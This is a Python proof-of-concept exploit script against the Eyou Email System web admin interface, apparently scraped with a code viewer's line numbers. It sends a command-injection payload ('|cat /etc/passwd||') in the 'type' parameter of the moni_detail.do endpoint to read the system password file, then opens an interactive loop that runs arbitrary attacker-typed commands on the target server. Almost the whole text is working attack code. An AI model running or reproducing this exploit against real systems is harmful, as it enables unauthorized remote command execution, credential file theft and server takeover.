1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import requests import sys import random import re from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: Eyou Email SYSTEM \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+ \033[36mCmd >>> whoami \033[0m') print('+------------------------------------------')
def POC_1(target_url, cmd): vuln_url = target_url + "/webadm/?q=moni_detail.do&action=gragh" headers = { "Content-Type": "application/x-www-form-urlencoded" } data = "type='|cat /etc/passwd||'" try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5) print("\033[32m[o] 正在请求 {}//webadm/?q=moni_detail.do&action=gragh \033[0m".format(target_url)) if "root" in response.text and response.status_code == 200: print("\033[32m[o] 目标 {}存在漏洞 ,成功执行 cat /etc/passwd \033[0m".format(target_url)) print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text)) while True: cmd = input("\033[35mCmd >>> \033[0m") if cmd == "exit": sys.exit(0) else: POC_2(target_url, cmd) else: print("\033[31m[x] 请求失败 \033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e)
def POC_2(target_url, cmd): vuln_url = target_url + "/webadm/?q=moni_detail.do&action=gragh" headers = { "Content-Type": "application/x-www-form-urlencoded" } data = "type='|{}||'".format(cmd) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5) print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__': title() cmd = 'cat /etc/passwd' target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url, cmd)
|